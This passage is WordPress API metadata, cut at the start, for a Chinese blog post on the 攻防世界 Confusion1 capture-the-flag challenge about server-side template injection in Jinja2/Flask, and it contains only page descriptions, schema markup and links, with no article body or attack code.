\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb1k\u6b21\uff0c\u70b9\u8d5e28\u6b21\uff0c\u6536\u85cf17\u6b21\u3002SSTI(\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165)\u6f0f\u6d1e\u57fa\u672c\u6982\u5ff5\u4ea7\u751f\u539f\u56e0\u653b\u51fb\u539f\u7406\u68c0\u6d4b\u65b9\u6cd5\u6d4b\u8bd5\u662fJinja2\u6a21\u677f\u539f\u7406\u5229\u7528getattr\u51fd\u6570Flask \u6846\u67b6\u7279\u70b9\u4e3b\u8981\u7ec4\u4ef6\u5e94\u7528\u573a\u666f_\u653b\u9632\u4e16\u754c confusion1","og_url":"https:\/\/www.wsisp.com\/helps\/22918.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2025-04-18T22:41:40+00:00","og_image":[{"url":"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/04\/20250418224136-6802d520ab3c9.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"2 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/22918.html","url":"https:\/\/www.wsisp.com\/helps\/22918.html","name":"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2025-04-18T22:41:40+00:00","dateModified":"2025-04-18T22:41:40+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/22918.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/22918.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/22918.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"3.\u653b\u9632\u4e16\u754c Confusion1\uff08\u670d\u52a1\u5668\u6a21\u677f\u6ce8\u5165SSTI\uff09"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/22918","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=22918"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/22918\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media\/22910"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=22918"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=22918"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=22918"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=22918"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}